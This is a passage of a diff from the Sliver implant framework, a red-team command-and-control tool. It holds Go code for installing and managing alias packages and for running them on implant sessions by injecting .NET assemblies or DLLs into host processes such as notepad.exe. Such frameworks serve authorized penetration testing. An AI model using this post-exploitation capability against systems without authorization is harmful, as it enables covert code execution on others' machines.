|
||||
".NET Assembly",
|
||||
"Reflective",
|
||||
"Tool Author",
|
||||
"Repository",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 5, Align: text.AlignCenter},
|
||||
})
|
||||
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, aliasPkg := range loadedAliases {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
aliasPkg.Manifest.Name,
|
||||
aliasPkg.Manifest.CommandName,
|
||||
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
|
||||
aliasPkg.Manifest.Version,
|
||||
installed,
|
||||
aliasPkg.Manifest.IsAssembly,
|
||||
aliasPkg.Manifest.IsReflective,
|
||||
aliasPkg.Manifest.OriginalAuthor,
|
||||
aliasPkg.Manifest.RepoURL,
|
||||
})
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
// AliasCommandNameCompleter - Completer for installed extensions command names
|
||||
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
results := []string{}
|
||||
for name := range loadedAliases {
|
||||
if strings.HasPrefix(name, prefix) {
|
||||
results = append(results, name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func aliasPlatforms(aliasPkg *AliasManifest) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range aliasPkg.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
}
|
||||
keys := []string{}
|
||||
for key := range platforms {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
func getInstalledManifests() map[string]*AliasManifest {
|
||||
manifestPaths := assets.GetInstalledAliasManifests()
|
||||
installedManifests := map[string]*AliasManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &AliasManifest{}
|
||||
err = json.Unmarshal(data, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "testing"
|
||||
|
||||
const (
|
||||
sample1 = `{
|
||||
"name": "test1",
|
||||
"command_name": "test1",
|
||||
"version": "1.0.0",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"entrypoint": "foo",
|
||||
"allow_args": true,
|
||||
"default_args": "bar",
|
||||
"is_reflective": true,
|
||||
"is_assembly": true,
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseAliasManifest(t *testing.T) {
|
||||
alias1, err := ParseAliasManifest([]byte(sample1))
|
||||
if err != nil {
|
||||
t.Errorf("Error parsing alias manifest: %s", err)
|
||||
}
|
||||
|
||||
if alias1.Name != "test1" {
|
||||
t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
|
||||
}
|
||||
|
||||
if alias1.CommandName != "test1" {
|
||||
t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
|
||||
}
|
||||
|
||||
if alias1.Version != "1.0.0" {
|
||||
t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
|
||||
}
|
||||
|
||||
if alias1.RepoURL != "https://example.com/" {
|
||||
t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
|
||||
}
|
||||
|
||||
if alias1.Help != "some help" {
|
||||
t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
|
||||
}
|
||||
|
||||
if alias1.Entrypoint != "foo" {
|
||||
t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
|
||||
}
|
||||
|
||||
if !alias1.AllowArgs {
|
||||
t.Errorf("Expected allow_args to be true, got false")
|
||||
}
|
||||
|
||||
if alias1.DefaultArgs != "bar" {
|
||||
t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
|
||||
}
|
||||
|
||||
if !alias1.IsReflective {
|
||||
t.Errorf("Expected is_reflective to be true, got false")
|
||||
}
|
||||
|
||||
if !alias1.IsAssembly {
|
||||
t.Errorf("Expected is_assembly to be true, got false")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesInstallCmd - Install an alias
|
||||
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
aliasLocalPath := ctx.Args.String("path")
|
||||
fi, err := os.Stat(aliasLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFile(aliasLocalPath, false, con)
|
||||
} else {
|
||||
installFromDir(aliasLocalPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Alias '%s' already exists", manifest.Name)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating alias directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
|
||||
for _, cmdFile := range manifest.Files {
|
||||
if cmdFile.Path != "" {
|
||||
src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
|
||||
// Install an extension from a .tar.gz file
|
||||
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
|
||||
return nil
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
for _, aliasFile := range manifest.Files {
|
||||
if aliasFile.Path != "" {
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
con.Printf("done!\n")
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("empty file %s", artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(artifactDir, 0o700)
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
}
|
||||
@@ -0,0 +1,369 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
ManifestFileName = "alias.json"
|
||||
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var (
|
||||
// alias name -> manifest/command
|
||||
loadedAliases = map[string]*loadedAlias{}
|
||||
|
||||
defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
)
|
||||
|
||||
// Ties the manifest struct to the command struct
|
||||
type loadedAlias struct {
|
||||
Manifest *AliasManifest
|
||||
Command *grumble.Command
|
||||
}
|
||||
|
||||
type AliasFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
type AliasManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
CommandName string `json:"command_name"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
AllowArgs bool `json:"allow_args"`
|
||||
DefaultArgs string `json:"default_args"`
|
||||
Files []*AliasFile `json:"files"`
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
}
|
||||
|
||||
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range a.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
|
||||
return "", err
|
||||
}
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
err = fmt.Errorf("alias file not found: %s", filePath)
|
||||
return "", err
|
||||
}
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
alias, err := LoadAlias(dirPath, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load alias: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("%s alias has been loaded\n", alias.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// LoadAlias - Load an alias into the Sliver shell from a given directory
|
||||
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
// retrieve alias manifest
|
||||
var err error
|
||||
manifestPath, err = filepath.Abs(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// parse it
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
aliasManifest, err := ParseAliasManifest(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
aliasManifest.RootPath = filepath.Dir(manifestPath)
|
||||
// for each alias command, add a new app command
|
||||
|
||||
// do not add if the command already exists
|
||||
if cmdExists(aliasManifest.CommandName, con.App) {
|
||||
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
|
||||
}
|
||||
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
addAliasCmd := &grumble.Command{
|
||||
Name: aliasManifest.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runAliasCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if aliasManifest.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.AliasHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(addAliasCmd)
|
||||
|
||||
// Have to use a global map here, as passing the aliasCmd
|
||||
// either by value or by ref fucks things up
|
||||
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
|
||||
Manifest: aliasManifest,
|
||||
Command: addAliasCmd,
|
||||
}
|
||||
|
||||
return aliasManifest, nil
|
||||
}
|
||||
|
||||
// ParseAliasManifest - Parse an alias manifest
|
||||
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
// parse it
|
||||
alias := &AliasManifest{}
|
||||
err := json.Unmarshal(data, alias)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if alias.Name == "" {
|
||||
return nil, fmt.Errorf("missing alias name in manifest")
|
||||
}
|
||||
if alias.CommandName == "" {
|
||||
return nil, fmt.Errorf("missing command.name in alias manifest")
|
||||
}
|
||||
if alias.Help == "" {
|
||||
return nil, fmt.Errorf("missing command.help in alias manifest")
|
||||
}
|
||||
|
||||
for _, aliasFile := range alias.Files {
|
||||
if aliasFile.OS == "" {
|
||||
return nil, fmt.Errorf("missing command.files.os in alias manifest")
|
||||
}
|
||||
aliasFile.OS = strings.ToLower(aliasFile.OS)
|
||||
if aliasFile.Arch == "" {
|
||||
return nil, fmt.Errorf("missing command.files.arch in alias manifest")
|
||||
}
|
||||
aliasFile.Arch = strings.ToLower(aliasFile.Arch)
|
||||
aliasFile.Path = util.ResolvePath(aliasFile.Path)
|
||||
if aliasFile.Path == "" || aliasFile.Path == "/" {
|
||||
return nil, fmt.Errorf("missing command.files.path in alias manifest")
|
||||
}
|
||||
}
|
||||
|
||||
return alias, nil
|
||||
}
|
||||
|
||||
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
loadedAlias, ok := loadedAliases[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
aliasManifest := loadedAlias.Manifest
|
||||
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
if err != nil {
|
||||
con.PrintErrorf("Fail to find alias file: %s\n", err)
|
||||
return
|
||||
}
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = aliasManifest.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = aliasManifest.getDefaultProcess(session.GetOS())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if aliasManifest.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else if aliasManifest.IsReflective {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := RemoveAliasByCommandName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing alias: %s\n", err)
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Alias '%s' removed\n", name)
|
||||
}
|
||||
}
|
||||
|
||||
// RemoveAliasByCommandName - Remove an alias by command name
|
||||
func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
|
||||
if commandName == "" {
|
||||
return errors.New("command name is required")
|
||||
}
|
||||
if _, ok := loadedAliases[commandName]; !ok {
|
||||
return errors.New("alias not loaded")
|
||||
}
|
||||
delete(loadedAliases, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
err := os.RemoveAll(extPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,457 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
type ArmoryIndex struct {
|
||||
Aliases []*ArmoryPackage `json:"aliases"`
|
||||
Extensions []*ArmoryPackage `json:"extensions"`
|
||||
Bundles []*ArmoryBundle `json:"bundles"`
|
||||
}
|
||||
|
||||
type ArmoryPackage struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
RepoURL string `json:"repo_url"`
|
